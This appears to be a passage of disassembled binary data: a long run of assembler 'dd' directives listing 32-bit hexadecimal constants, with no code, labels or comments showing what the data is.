		dd 6092E8C3h, 213AA4B9h, 0BAF83B70h, 0AA9B0F09h, 50CD26Eh
		dd 9CCC8397h, 23882F38h, 4E0A0B07h, 0FDBF6683h,	46335990h
		dd 538C891Dh, 0B146DCA8h, 0C4227102h, 17311D87h, 220ADF10h
		dd 750166E2h, 0E0B29BF8h, 43E84613h, 0DCE849F5h, 6832F06h
		dd 7904C06Ah, 2A47B0ECh, 4E0A38E8h, 2C881835h, 0C1D30A24h
		dd 0E1F1288h, 489011B8h, 12D722D8h, 4AD0ED41h, 5C58C9B8h
		dd 9B071946h, 30E24612h, 0CAB59020h, 0C5AE890Dh, 8440882Dh
		dd 4ED5CDA2h, 0A5DC8CC9h, 44872B28h, 20F4E0C4h,	0DC7C3200h
		dd 0D323986h, 74D82155h, 8E600ECCh, 8B72276Fh, 61328420h
		dd 0DB491031h, 7BAD91D0h, 77D1DF07h, 703052E4h,	24BDC7BFh
		dd 8528A5A6h, 98D22AD0h, 4108C218h, 0C4EDEC71h,	0DAA24075h
		dd 128AA141h, 436E9B97h, 40FDC330h, 431CC8ADh, 0F59E540h
		dd 0B4C6D24Fh, 4309B265h, 0C9A605A8h, 0B7B03AA8h, 27C39003h
		dd 0AB4E9h, 0FEA37621h,	6ED91C12h, 0F009DC73h, 0CFCC332h
		dd 41CA78FDh, 0AC90006Ah, 8F09554Ch, 842172A4h,	80ED1D52h
		dd 0D4162238h, 92482714h, 5B11196Bh, 5E8700D2h,	88A12339h
		dd 588C33EFh, 1D4510C0h, 82A0C22Eh, 0C78A2BB3h,	720AC8AEh
		dd 7B7A808Ch, 0BDFC827Ch, 0A4F83801h, 5C55FF1Eh, 0BAC031CDh
		dd 0EA72AC9h, 0E5410CD4h, 0DA9812FCh, 9C940D78h, 0D0B086A8h
		dd 7A7C313Eh, 2CA20586h, 20B2ACC4h, 0CF39AE94h,	1E9BF100h
		dd 0A082303Ah, 0D9C81683h, 984C14D1h, 58582C8Dh, 22081078h
		dd 0C41587C1h, 9C2401Ah, 79CD3722h, 0D8E00DFh, 5C922BA7h
		dd 6159E171h, 4889276Ch, 4D5F0D50h, 0EF06289Ch,	7823B788h
		dd 6297D909h, 11B81D2Ch, 0FCB7811Eh, 0B0F402DDh, 7F2B2833h
		dd 0CF520C8h, 58FE6301h, 43A06A7Ah, 81D880E2h, 821FD9AEh
		dd 2D860040h, 4759B8A8h, 2B342509h, 22E082CEh, 62504084h
		dd 0FD16155Eh, 0F098988Ch, 0AB67B439h, 0C375A6E0h, 8193F847h
		dd 0D2ACD120h, 0AA1F0252h, 5E0DDFD6h, 0A3638090h, 0D902C899h
		dd 6A24E598h, 9605A3Ch,	81BE9B92h, 160534FAh, 0CA9CC9D0h
		dd 11052CC1h, 0C056E100h, 0F45CD01h, 0B9EF083Fh, 9C380424h
		dd 4465C5Ch, 0A1B124h, 828D8055h, 10B8F687h, 2B594E10h
		dd 0B32DD000h, 1CE11A77h, 0E6018B0h, 0AA8B2999h, 48B0C391h
		dd 59782B49h, 1BAD660Fh, 8FF44170h, 15F4F803h, 9AA1FC1h
		dd 840B956Eh, 0FB80D23Ah, 63557BE7h, 4305287Ch,	49DAC740h
		dd 5E527880h, 711E64E5h, 1D8A4B1h, 1884AA00h, 68E647EEh
		dd 35B70093h, 92639827h, 0C6514B85h, 0EA77D8FCh, 9D24617h
		dd 80112008h, 7D10D59h,	0A03B0C2h, 0D3580C77h, 9CC590BFh
		dd 0DEE63Eh, 721BF4D6h,	78227C6Eh, 0DCC9C400h, 9B12F171h
		dd 0EFD4A85Ah, 0A2C28F5h, 0F9C400E4h, 8B95AC83h, 0DF80DDCDh
		dd 8C0C55E3h, 0A4C5F443h, 69037300h, 2500F89Ch,	0FEA56B2h
		dd 1BA4942h, 6C8E3CF1h,	0E887BCE7h, 6D5930E5h, 98090450h
		dd 44B319D6h, 0AFB2B23Ah, 94A1F028h, 52970CB7h,	0C848BB08h
		dd 32309392h, 0F5C3988Fh, 590C6368h, 40C142BEh,	6410830Dh
		dd 0C87F683h, 2D491D28h, 3809F1C1h, 0C4C90525h,	5D931CB0h
		dd 0CB1E40E8h, 0BF0CD4DAh, 724F2B02h, 82D2C9B9h, 488941C0h
		dd 3C9328E4h, 0D928B12Ch, 42552CF0h, 1BDF8954h,	0E70314FAh
		dd 0DEBF0F8Ah, 5E402CDAh, 8811904Ch, 41C5C0D3h,	3546EC0Eh
		dd 0A5007E22h, 0E7D41DDh, 1C1A6188h, 42D1BFh, 8286AE1h
		dd 0A8A0D905h, 1132B0F0h, 0C06098D6h, 1293122Ch, 4B197E5Ah
		dd 1820C0C8h, 0E236B1A9h, 960AFB17h, 0EDDC32h, 0E1DDBB57h
		dd 0C9816660h, 95E3431h, 43D2FC0Ch, 8CC4988Ah, 5BE0D4D9h
		dd 6E2DE898h, 43146A97h, 418AAAF4h, 1084EA38h, 0C8C7CB93h
		dd 0BAEA89CCh, 0A46F890h, 0C09CDC02h, 1331D691h, 9CD4EF10h
		dd 0DE077E77h, 0D398EC09h, 879409C9h, 1B2615A4h, 8B113DC8h
		dd 0DFF87DB0h, 90AC5F0Bh, 87AD890Bh, 618410CDh,	0F8C2827Ch
		dd 0D001059h, 0C0A55D44h, 8FD1DC4h, 9F6D8043h, 6C4D3A88h
		dd 91DAFE02h, 0C469BE83h, 6876F3D8h, 0D96FBA02h, 0C731BE42h
		dd 0B21B2180h, 555B8D6Fh, 8B893702h, 0A0089663h, 0D1AE87A0h
		dd 0F8C0BA12h, 5261FE57h, 0C00230E0h, 0CE42DB6Fh, 150098E7h
		dd 45F36FB8h, 0F44F00D2h, 9394659Fh, 0B0C07026h, 0B8D82B58h
		dd 2866589Ah, 1E68CA11h, 42824B3Fh, 0EABFB1B7h,	400C8024h
		dd 13437485h, 0C267E015h, 0E9201240h, 0FDD7C6h,	0F4A46D27h
		dd 9FAEFBB1h, 373A8D79h, 8F9B89DEh, 0BF0200A8h,	965948A9h
		dd 0FD430EF8h, 649018EBh, 88B48C62h, 6170B08Dh,	99491840h
		dd 9168B402h, 9CDB8005h, 962E91BDh, 0D3F0587Ch,	42D59C58h
		dd 5FF101B0h, 0E303499Eh, 0D43CDF31h, 6810C927h, 78808342h
		dd 192E6049h, 0CD7764B7h, 4B844813h, 0CF73F042h, 0C938C01Eh
		dd 6CD8A21Ah, 0F3820AB8h, 1A0D483h, 73B0AF38h, 97C20C4h
		dd 9CD7048Ch, 62CE91B9h, 2FEC201Eh, 1F01649Bh, 9D97C707h
		dd 608B403Fh
		dd 0E4004EA7h, 701D42BDh, 6327F092h, 1AB01008h,	5C4316A6h
		dd 2DC8201Dh, 7A2C550Dh, 0E680EC2Ch, 0F8154460h, 9740C307h
		dd 84E45E9Bh, 0A9BEC614h, 6B79A8B9h, 7B1DF218h,	0F589A947h
		dd 0FFA0E008h, 9459034Dh, 84540DB2h, 6FE26102h,	0A995E125h
		dd 6430E538h, 0AB3E607Fh, 652D0046h, 767BE3C5h,	821C44EAh
		dd 70B2686Fh, 0A9FC20C1h, 4802884Ch, 554689E3h,	62E08F07h
		dd 0A4BD832Bh, 0EC8B63ACh, 76C0CCC8h, 0B21D958h, 0CFDC6392h
		dd 0E8ED1402h, 0CA18DCD0h, 3C31E0A7h, 0FBFE0046h, 0BC4A1AA1h
		dd 5A1E671Ch, 0D90F7E1Bh, 40CDE987h, 49B1C1E0h,	82006080h
		dd 0F394409Ch, 0D4A275BEh, 5F70A853h, 1768E0E7h, 916B5D9h
		dd 7C60BAE0h, 0A013EA78h, 9400C5A3h, 5E0BE0D4h,	0B97A2EDAh
		dd 2D2A6064h, 0C506C0F4h, 71AC6C75h, 73E775D8h,	37E80BA3h
		dd 84C972C2h, 97B917D3h, 811E91FCh, 99FDB158h, 0D85259DDh
		dd 91C20020h, 0B9D3C693h, 89DE6861h, 724AC5h, 1F02BD38h
		dd 17F5D95Eh, 0C28668DEh, 0FCD114B2h, 927402ADh, 3B5DDA7Bh
		dd 0E184860h, 0EC79D203h, 0D038A38Eh, 2274B497h, 3D00174Ch
		dd 43982B1Eh, 16F53968h, 0B796D55h, 1CE4D27Ch, 6C223300h
		dd 386E8AF3h, 67A409C9h, 0A01073DCh, 582CE7FCh,	46768CC5h
		dd 941B0B1Dh, 29AE0B9Bh, 0E88898ECh, 85FB1619h,	69846072h
		dd 0C1413FA0h, 0C65A801h, 2C098462h, 6C66B5D8h,	0C8220D05h
		dd 9CA27D87h, 2206C3C3h, 4C1A23A8h, 80009899h, 595FC8A2h
		dd 0E8584845h, 0D9F6F903h, 24C334EAh, 848CC7DDh, 30D82218h
		dd 0F1341DCh, 0D88B3DECh, 541F47Fh, 52BB9E91h, 0E2ACE263h
		dd 2D9130C7h, 71609506h, 7B897D45h, 0BE8B12C1h,	9728016Dh
		dd 2C2074E5h, 0C8B4CB74h, 27F2BF4h, 0C9B7333Dh,	8957A59Fh
		dd 8AA005D8h, 48010E0h,	0A904E737h, 0FA188849h,	81B14438h
		dd 7EDC78C9h, 8C68BD32h, 6016F001h, 0C4EF2CEBh,	0D72F13A0h
		dd 19C00772h, 0D544944Ah, 1041DB60h, 0C425EC26h, 41D3F873h
		dd 657F017Dh, 541542CBh, 87C9001Ah, 80B4BCA6h, 7792D9F2h
		dd 0CA0757E4h, 0E7B0EFB9h, 40A46F5Bh, 8C79AD97h, 17F9D2Fh
		dd 639809C0h, 0B4ECC4EEh, 0D548DC8Ch, 0BCD1158h, 3FBFA00Ch
		dd 0A5180760h, 5B180849h, 0A02F54B0h, 0AC38A91Fh, 22080E18h
		dd 0C46587DBh, 7C84013h, 16D4A22h, 81460BDFh, 381E61AEh
		dd 90E08EC4h, 1947580Ah, 791108D4h, 0E788EF05h,	213804D6h
		dd 3C880BE5h, 9B243861h, 364A80F4h, 52CDF43Fh, 0C179B614h
		dd 954611D0h, 60C76278h, 0E9001499h, 45CD3B88h,	0C11F172h
		dd 0C678A7Bh, 1962C442h, 88ECF477h, 60E05B32h, 0E820E0DCh
		dd 8BECBC74h, 0D41F9155h, 59816B91h, 6045921Ah,	6840508Ch
		dd 9A9312BBh, 1558C065h, 70B46BACh, 59943289h, 1D51194h
		dd 0AC47E782h, 58747683h, 0FEA241DBh, 5AC0DCCDh, 0CED57Eh
		dd 2F430426h, 0B1394212h, 2E080749h, 0BB002303h, 0E4FAF224h
		dd 0EFDF2677h, 0F51640D4h, 0A90AC08Ah, 48723E83h, 162B4340h
		dd 8070E04Fh, 31CF2D8h,	120EDC76h, 0AC95000Ah, 438A70Dh
		dd 545E8BC7h, 0F2F895C8h, 307FE27Ch, 1809AE37h,	0E90371h
		dd 0F13F5A71h, 0CBA63D99h, 44D28B97h, 0BC61411Ch, 8C07BC18h
		dd 5B93BF1Fh, 5E1CF5C0h, 0BADCE542h, 4EC89870h,	2BC002AAh
		dd 80E09227h, 1F0C2EA1h, 0D830114Dh, 4F7C0663h,	1019E1ADh
		dd 0C898ED09h, 0D298000Fh, 3C43859h, 926142DCh,	50FEFA93h
		dd 13305805h, 8C3A9A71h, 0CE0E7D23h, 2CB960F6h,	0FBFC8CFh
		dd 0FCC35D14h, 0DF947420h, 0E62463D5h, 0A0087851h, 54904B4Fh
		dd 5B0298ACh, 8BA05E74h, 63906FCDh, 0C08CA449h,	72DD9314h
		dd 18DA8Bh, 64831661h, 0F4A09584h, 0FF5C593Ah, 2F24A3Eh
		dd 0DAB1BF97h, 0C47067D9h, 8732601Eh, 4840101h,	996FDB49h
		dd 0F4402AA7h, 5212273Ch, 0BBBE3B28h, 2B90F704h, 4DCA878h
		dd 0DBD4A689h, 8A9B8D4h, 97182931h, 4D010AC5h, 7FB0E9EDh
		dd 0B17843D5h, 0BC5CCCA4h, 56789686h, 8062C721h, 69C083A8h
		dd 16F2AD67h, 0F388A4BEh, 0A3C664CAh, 3013E244h, 2B4A875Ch
		dd 7619088h, 15D5B268h,	0F8C09F5Dh, 6DA41ECEh, 58A1BA00h
		dd 839FD6FFh, 913901F9h, 0F379BF04h, 9503C86h, 612AED43h
		dd 0C42638CCh, 20E23EE0h, 87149DE2h, 1CA097A4h,	30122CD4h
		dd 22200087h, 0C3FEABh,	0C7CA8C89h, 0C9107254h,	6361E1F8h
		dd 0FECE58C9h, 4474F4h,	0D7F212A3h, 5D77F175h, 1E761703h
		dd 92796E91h, 3044ABh, 0CC244328h, 0D86D59Fh, 0B8B67013h
		dd 0E3DF708Bh, 4FC3DD00h, 31DCFBAh, 0BBD04BF1h,	0C1D48382h
		dd 2F633E00h, 90E4B84Eh, 82B4AA1Dh, 8BFD2BC1h, 0D08704E0h
		dd 0C3A725Fh, 6001C23h,	0B22499A4h, 0E9E60465h,	0A83E53E8h
		dd 675E08CCh, 4FE202EBh, 9C67EF49h, 8C600864h, 9B00DBAEh
		dd 34428078h, 49AA3F51h, 9C3E64CAh, 90E79680h, 0D232A063h
		dd 0F39A3800h, 73C0B2C2h, 97FC06B8h, 0A0E274AFh, 0D66CDA48h
		dd 68854094h, 89A59500h, 90FF0B99h, 20ED22B4h, 5B074013h
		dd 83027008h, 0DFB13236h, 16FC3058h, 9091DE23h,	0ED002CC5h
		dd 3BFD1388h, 22589C36h, 3D4C29F5h, 97B216D1h, 0E541C830h
		dd 681062D0h, 94419B95h, 37E4401Fh, 0E018DAC2h,	16B911E6h
		dd 0D1DB4A85h, 22373428h, 301DF224h, 0F900DE50h, 7AD9B638h
		dd 9069EA72h, 2AB4608h,	87C6220Fh, 1FCE76Dh, 2F2208C5h
		dd 0B0203B51h, 648B4Dh,	5FCCE85Bh, 0DBA0EA1Ch, 0D9A80595h
		dd 6822F4B1h, 32208384h, 6FB930D9h, 0A642DA17h,	1184838h
		dd 3FE06FB1h, 0E0FA26B3h, 7525B094h, 20CC48E1h,	715B3F9Ah
		dd 52930373h, 0A9BCDBE5h, 0F8B37CA8h, 37A0EF1Ch, 1402265h
		dd 44011A17h, 32470BDFh, 21C6CCC4h, 0C0FB5CAAh,	19732608h
		dd 1054444Bh, 487FBD5Eh, 0D72F13B4h, 4A2FF889h,	0C420AA6Ch
		dd 59284003h, 0B0EAE230h, 5DC21B8h, 0D0279691h,	8866FC4Dh
		dd 24E88290h, 0B44A1248h, 33A0060h, 0C4D401FEh,	60A9185h
		dd 1D4F9C3h, 81FA10C8h,	8214881Ah, 20A14E87h, 2B20485Ah
		dd 2D18C433h, 69EF040Ch, 18BC18ACh, 8992178Ch, 83140441h
		dd 84F406CCh, 0C68B22B0h, 0A06C6531h, 0B4536246h, 0CD299D6h
		dd 12898020h, 0E91F8D56h, 0CB6B1870h, 274E8B38h, 0A0EDE2DEh
		dd 44057990h, 0D51178E5h, 5D70C8F0h, 0F33EFD73h, 51BB05CBh
		dd 0B4B2B974h, 5EB5E101h, 20EBB834h, 8B4CF48h, 88303424h
		dd 0B971323Bh, 6660C204h, 44200209h, 5E045A61h,	0DAB80A06h
		dd 3B6D11C0h, 5F9121Fh,	0DEA74421h, 897C8C33h, 398441C9h
		dd 1649012Dh, 0AE831980h, 1DCC5A86h, 0E9C95901h, 78BB60ACh
		dd 53C15870h, 16A2DCCAh, 1C660D31h, 54A9FC00h, 1FBB3EF3h
		dd 0C6D170B9h, 0EA774418h, 0B44BB15Fh, 93D0C882h, 0D2150BFBh
		dd 0D0EBE7A8h, 624451A0h, 928D33Dh, 91D985EAh, 0D02BE138h
		dd 8481C3A0h, 0C2A36005h, 20AC63BEh, 248C20E8h,	39E83D67h
		dd 0F0B8060Bh, 9317D418h, 2CC12E4Eh, 829E2DFh, 7A837C09h
		dd 79095870h, 0A177AD8Ch, 15AE8BA8h, 0B7B8C8C6h, 604AB8B8h
		dd 24E1C806h, 37E6E882h, 18211F06h, 5686410h, 8ED020E7h
		dd 1A840003h, 0CF340E94h, 465C5CBCh, 815D3E7Ah,	0E29795FCh
		dd 0E5E00C5Bh, 0CCC31643h, 0C8D08B9Ch, 4E63C004h, 1C389622h
		dd 6C89A6BDh, 754674h, 0A9AC176Ah, 83BC012h, 2DE9DF25h
		dd 0A80154A4h, 39CD9207h
		dd 23D02F3Fh, 0CF300076h, 0BDA6872Fh, 0F1C02E50h, 9D4D900h
		dd 0E05797B7h, 25DA7991h, 946BB973h, 0FB0B22C0h, 0AD84E800h
		dd 447CE7BFh, 3F341726h, 0C81CCB49h, 131C079h, 0E7049BB1h
		dd 56FB94E4h, 0C41898A1h, 0A932579h, 32EF1840h,	0D78D1610h
		dd 0F0210207h, 3CA29B80h, 6CF2A6FBh, 80944C5Ch,	596C20AEh
		dd 5A0D24DBh, 4F1A4088h, 30EB9415h, 7D022018h, 0D0E24CA9h
		dd 70F45B29h, 3C000704h, 951FE6Eh, 49DFFC1h, 87C9D7A9h
		dd 237CBCDDh, 9C823D07h, 343E91B3h, 0EE4088F1h,	88A9CD5h
		dd 0EA25566Ah, 38C9CB3Bh, 4E2B9008h, 0FDD0C88Eh, 6B3420h
		dd 0E47752BBh, 0EA207BB7h, 0DF28BA98h, 0A912401Bh, 4121A5Dh
		dd 13237C3Ah, 3CA1CB03h, 261E83F8h, 0A50DA70h, 2C789DA7h
		dd 5427DCECh, 838C416h,	67DCFD41h, 0F7839501h, 847C1FA5h
		dd 6243C7E8h, 0E7289B00h, 39550718h, 8435125Eh,	1AC81CCAh
		dd 4C99A0CEh, 1689B40Eh, 0A398EFF1h, 0E2A84204h, 2AEC301Bh
		dd 6A9A0500h, 71F7473Fh, 51AA582Eh, 70781F29h, 0E866133h
		dd 2DEE443Fh, 7DDBBCA0h, 718E382h, 4790EB1h, 17F403DFh
		dd 0B368DDFEh, 0BA31D1F8h, 252DFC01h, 0EA72373Bh, 2870206Ah
		dd 0BB2D3243h, 0E470C502h, 0AE3C60CDh, 6EF4005Fh, 6BC19FFCh
		dd 0FD2E940Ah, 2C8070FFh, 0A347E1D9h, 0F4409A2h, 0C0C8E2D5h
		dd 45008DB3h, 0FFD083DBh, 0AE6643h, 0EBE98124h,	405F7561h
		dd 6C1DD975h, 63C94476h, 0AAFC68ABh, 389C0C9h, 604F5841h
		dd 6D07F100h, 0F8AF2CA2h, 0E0B6FE2Fh, 151A0077h, 7DE47380h
		dd 1216E666h, 34CB0F68h, 63C0C5C8h, 0ECB0ED5Dh,	22E0C016h
		dd 7E81D41h, 0F37CB0BAh, 4A796840h, 4978815Eh, 9561072Ch
		dd 0EC283D1Fh, 7621A7E2h, 69015BEAh, 8D28680Fh,	0AC6021B7h
		dd 951C40B0h, 0A0D38B24h, 0C4F54384h, 3807C8B8h, 861DC101h
		dd 1F611103h, 8ABD4158h, 4FB84C6Dh, 11144C1Fh, 0BDC20400h
		dd 2E7C5143h, 80EC1693h, 96E75759h, 70D6AD88h, 10D7E012h
		dd 914E8961h, 0C0126428h, 23803B38h, 0F3400331h, 18B83ABEh
		dd 0EF4A98ECh, 0E2D8D818h, 0E1FD006Ah, 0D3C935B9h, 5896AC63h
		dd 0A41C5760h, 541D1042h, 48383F0Dh, 8CCCE87Ch,	35CD9800h
		dd 15FCE731h, 43D504C4h, 0ECBD3736h, 0FC335EFCh, 8440AD49h
		dd 1608E655h, 73720078h, 0CCDAD04Ch, 0DD0C6985h, 29E10132h
		dd 0E4179529h, 0A8871B91h, 8FDC303Fh, 0CA1F99AEh, 586732B8h
		dd 22184E4Ch, 0BE30DE68h, 42DD3D6Fh, 648BDEh, 696FB617h
		dd 13B4A87Ah, 0B03244C8h, 5B8090E8h, 1B04271Dh,	29780010h
		dd 4FA05380h, 0C4BCC7AFh, 648FD42h, 3C43886Fh, 85895818h
		dd 0E924015Bh, 3E1FE8h,	150722h, 395AE04Bh, 7F68D9F0h
		dd 8048CC3Ah, 8659AC62h, 0E210ED30h, 7882564h, 0AE878860h
		dd 4C762927h, 60F08DC0h, 25ECE408h, 45BF23Eh, 0E1DF273Dh
		dd 0FB1280A2h, 2E7C5CA2h, 16174340h, 74762890h,	72808C91h
		dd 0DF066C4Bh, 41FA60E6h, 808EF394h, 1CF06082h,	0E4B18011h
		dd 0D29E0C2h, 827CFC5Bh, 429B0A5Eh, 9A97B0F8h, 0BC861E4h
		dd 0BFF6D918h, 0C5DE9125h, 0D1EA80C8h, 67F3A79Ch, 0AE63E716h
		dd 580D1C21h, 7F98316Ah, 979F0033h, 181C69E2h, 7F796051h
		dd 0CC308C18h, 0ED2FB0C4h, 98E252F7h, 0F601BF00h, 5A9781E1h
		dd 4781986Bh, 80F16FF0h, 0CDAFD220h, 0AE850A54h, 7490B444h
		dd 38011346h, 0F544E8CAh, 0D4406BFCh, 0AD63D9BAh, 0DEDC4A1Bh
		dd 34BC8048h, 9164043h,	0A1E787FDh, 482894A7h, 0F0A4A902h
		dd 8B585C1Ah, 0D4718B16h, 1065888h, 0E6E04217h,	0AC39802Bh
		dd 0D6B333B1h, 4F34B40Dh, 0BF5B8C20h, 970741F8h, 3DDC4366h
		dd 0DAC0C5F3h, 0E64082FCh, 930A202Ch, 3490666Ah, 0E85A5B24h
		dd 4AA0D695h, 6CC8F4CBh, 9DAE28C0h, 9900082h, 0FD444272h
		dd 0F09405ACh, 0C2E9F986h, 4054F8E0h, 0A54EBB09h, 0C4C8E08Bh
		dd 54E2ADC2h, 0CFA68FD4h, 98868340h, 64064287h,	6E600DEDh
		dd 94632D21h, 5D4E8810h, 9F1A1940h, 64D1FC4Ah, 0A5182079h
		dd 4CA7EF28h, 0A20C0800h, 6D847F4h, 0EE2000AFh,	42AE8BFFh
		dd 22B5D994h, 0F37BF048h, 6306704Ch, 2A18540Fh,	5C518348h
		dd 3F59F86Ch, 5ED90255h, 0C9C6961Dh, 0CE0814F6h, 6BE10D77h
		dd 466AD469h, 71738302h, 0D4B45645h, 0BD429F0h,	0A412E155h
		dd 1879D0D9h, 0CD056A18h, 67A0EF9Ah, 0A73884ECh, 64A0692Dh
		dd 68D1815Fh, 0EE4574B8h, 46E2Bh, 0B153707h, 28A011D6h
		dd 5F849F09h, 435C897Ah, 98B49834h, 0C0BC96A4h,	418E5B42h
		dd 3602DAF8h, 6718117Dh, 9FFEA460h, 17550842h, 80C691A4h
		dd 2BD0E47Ch, 980CA28Ah, 0AF96D8h, 0CF1EB9AEh, 741E322h
		dd 6A8A9D01h, 8FD8043Bh, 443C67D6h, 1070601Ah, 6B6D0020h
		dd 0E8EDF289h, 0BF3C42A2h, 2546172Ah, 4E5304C0h, 20210922h
		dd 68480A10h, 0F0886A42h, 178528E8h, 0DC88B4E0h, 0A4A1BE04h
		dd 38D04749h, 5EC9FC3h,	4E897357h, 201CA111h, 8C98014Ch
		dd 20EA5Bh, 802E794Eh, 5709FE63h, 13956E7Ah, 692010E0h
		dd 19E06317h, 0AAA82520h, 0EFBFF4E8h, 0F8FA0500h, 3CE11497h
		dd 358B0009h, 0D812969Ah, 0BC99E5E0h, 0E2DCC702h, 0FC04681Bh
		dd 9DF832E8h, 7E040398h, 0E2881645h, 471302C8h,	5E6A5CA7h
		dd 0D04676E0h, 49B04006h, 4201513Dh, 9D45E49Fh,	8090DECAh
		dd 50C12608h, 6440C569h, 0A9AF611Dh, 26DCBBF4h,	810C477h
		dd 9826CC1Ah, 1044674h,	10CAC3A4h, 0C070AA1Bh, 491A4015h
		dd 7021435Ah, 0AC21C697h, 2610086Ah, 0C0C4EDADh, 0A9381CD1h
		dd 4F12BDE6h, 0E78A0h, 55053005h, 0BCDAFB98h, 0ED410438h
		dd 0B1046C20h, 0E204D462h, 301EF210h, 0B002F3BCh, 7398374Bh
		dd 5C0257A8h, 1061D593h, 7D603070h, 14766140h, 0B0EA151Ah
		dd 93CE1210h, 823282Eh,	85ABB000h, 29A2358h, 0C7217F82h
		dd 0E85111A7h, 0BF87DF11h, 0B642726Fh, 1A61A459h, 0CEC86FB7h
		dd 647E06AEh, 71184999h, 0E43F51ECh, 81218F90h,	0C657A0AAh
		dd 98286729h, 2AF300A4h, 1F859207h, 230272C4h, 90B6BF7h
		dd 90AC6110h, 7DAF02DEh, 2344B4F8h, 209C0A7h, 6EE76F74h
		dd 7D3D8700h, 0E663DF72h, 918A7F5Dh, 1805D168h,	329F38D3h
		dd 0B522AD03h, 0F8E408BEh, 8C1CBC50h, 7AABA503h, 0B1E328DFh
		dd 17A8149h, 5E9B9460h,	0F60F0288h, 0ACAE1E7Ch,	97638B94h
		dd 79524B0h, 5A98ED80h,	8EC484A7h, 0E39CDCh, 0EB94412Fh
		dd 0A0958916h, 0C00BABB0h, 0DA613BDh, 0B234B314h, 1AF83380h
		dd 1D242DADh, 0D6182888h, 86D561h, 0EDEEC6BBh, 78A4E0B0h
		dd 64D22324h, 7D3E108h,	0AAF88B95h, 1EB00088h, 8A058107h
		dd 0D7726B03h, 2C55132h, 0A68BA26Ah, 88903ABAh,	0CC9869BDh
		dd 573B9FE6h, 1081258Dh, 27421278h, 1CC0DB65h, 0D6801980h
		dd 46BD0C24h, 0EF487731h, 1E4005E0h, 4A58B88Bh,	598483F7h
		dd 0F0C61008h, 868AC12h, 61110681h, 0B390EF0Eh,	0A68940D8h
		dd 0FC90494Fh, 833A47F8h, 152898F0h, 10FF4892h,	1E5BA2Fh
		dd 67B60332h, 0F4669724h, 4405A9FBh, 0D9C8B237h, 0FEC00CDBh
		dd 9B92FFB3h, 0F8642A30h, 4E381D5Bh, 7AAC2272h,	339D9120h
		dd 3022B5CAh, 0E9011755h, 0AC385788h, 110873Eh,	0E8E70502h
		dd 21AE2127h, 21F696Ch,	8008DCB4h, 37BB5789h, 5807315Ah
		dd 2A089AB1h, 0E20E3C50h, 8C0755E8h, 89225828h,	0AAF32C0Ah
		dd 8C08586Eh, 2CED626Bh
		dd 9B91C200h, 2421956Eh, 843FBA0Bh, 0C9D0C730h,	0E10ED523h
		dd 343BA0E9h, 40B2A4F0h, 8D3080F2h, 0BDB404E5h,	0AAFBDEACh
		dd 1FA00C60h, 4FFC803Dh, 1D995403h, 2E1543h, 1BA4A999h
		dd 5871A860h, 0BD292B02h, 0F6AE6389h, 0C576298h, 0B6B09855h
		dd 69B2797h, 7183D4C3h,	2B47911Ch, 371EEA28h, 18405DFCh
		dd 0C83EBDBAh, 6D4C00ACh, 0C09089C3h, 4405BE32h, 14F54B49h
		dd 0FE05CB0h, 436F8395h, 0EA141CF2h, 15EF17A8h,	3898C284h
		dd 3058205Bh, 97921C70h, 7593808Ch, 0E0BA2CC6h,	10A81349h
		dd 0C2006898h, 0FC9CFD2Bh, 2414A1A9h, 5F88C9B2h, 395AC088h
		dd 0BC8196E4h, 8EFB7305h, 0A313C4EFh, 488CA148h, 8C01E8F0h
		dd 33D6E00h, 0BD372F98h, 0E61D0594h, 0B85E1A79h, 8C19E878h
		dd 3C7C0460h, 35EEF90h,	5689CA93h, 0E8792AB9h, 0A687CC09h
		dd 53B0A791h, 55316F02h, 3015CBDh, 5E21FEDEh, 0DC22D821h
		dd 0F3925904h, 5400BBD8h, 0FB91C178h, 0F48BBDEAh, 2496FCF0h
		dd 9065740h, 0F27607B4h, 20D7B6B3h, 0C9B3F9Ah, 1164FE4Ch
		dd 884F1925h, 0E658094Ch, 96522C4h, 0DCFDC4B7h,	2F64F041h
		dd 15988804h, 0A4B257h,	3FCD997Ch, 0A19DAh, 886F72C0h
		dd 50A0B7D2h, 954B8B10h, 41C1E030h, 0C4F4015h, 20839862h
		dd 0D3AE74FCh, 61B07B30h, 151720D8h, 18B6407Ch,	0F840133Ah
		dd 0FE039D78h, 2F5A5C55h, 3AB0Dh, 0F247E139h, 9FDB67CCh
		dd 1E00EC7Eh, 0B0F00E3Bh, 0B171158Ch, 1816D9B8h, 4E890A33h
		dd 26A40E3Dh, 3BDA3D4Fh, 82348h, 0AEDED30Dh, 0D700AA63h
		dd 770E976h, 0C571E545h, 0B1F260h, 0F0D04640h, 9E000DFFh
		dd 7CB43CDAh, 1A561Bh, 0DB3D457Ah, 0D2AD5AABh, 41EA0B17h
		dd 4498DCF0h, 7100DC02h, 4322DABAh, 9E92CC4Bh, 0B57C4084h
		dd 0A43F5E13h, 0F44C01C8h, 1BE04143h, 2848686Dh, 0D08A5622h
		dd 467610D6h, 47860779h, 0D630DEECh, 148AF52Bh,	0A404AF49h
		dd 8C05F8h, 0AA1AA62Ah,	0C6D7DFC5h, 9379A905h, 40D481E2h
		dd 10E9ECC8h, 43D3398h,	0EDE3AE8Bh, 846FE203h, 6829A099h
		dd 8C6BEC64h, 0CB0FA9B0h, 0C1505963h, 0B47A71BFh, 4900A06Dh
		dd 92DCE09Eh, 82049DB2h, 8D45CB94h, 7E106CF2h, 24FD9261h
		dd 0A17FFFA8h, 0DA9F7507h, 2E874EDh, 0DC58FB95h, 29F8A455h
		dd 0D946B442h, 1AD9B059h, 80043A18h, 0A7D3577Bh, 591870FDh
		dd 0F36DCA8Ah, 9981F100h, 0F0723EB9h, 83D31398h, 3ADC88ABh
		dd 0F86F89D2h, 6A09AD3Fh, 4C0554F1h, 11E8FD06h,	0C700194Ch
		dd 0E6AED6FAh, 170E1430h, 0C0C216A4h, 421A2453h, 9A931392h
		dd 0D55CC972h, 45090020h, 510BE31h, 0F9027C49h,	0E6EDE86Ch
		dd 22D74F8Fh, 0B424140Ch, 9280F0E8h, 63D57304h,	1124979Fh
		dd 4A8880C7h, 0E467ADCAh, 880955Dh, 39F83F19h, 8B166313h
		dd 3E8140D8h, 86366130h, 0A7021808h, 410D7918h,	8BC8761Dh
		dd 0B0654759h, 186131E2h, 0E6007A52h, 0EF360B64h, 518F4BAh
		dd 56932FA6h, 0E1D40582h, 0BC04BF20h, 80821117h, 69590665h
		dd 4C435801h, 0C0395C28h, 8364D32Ah, 89B569EEh,	0D6D8E250h
		dd 0C4467628h, 30A00A2Dh, 36925BD8h, 0EFD94202h, 0E064CB09h
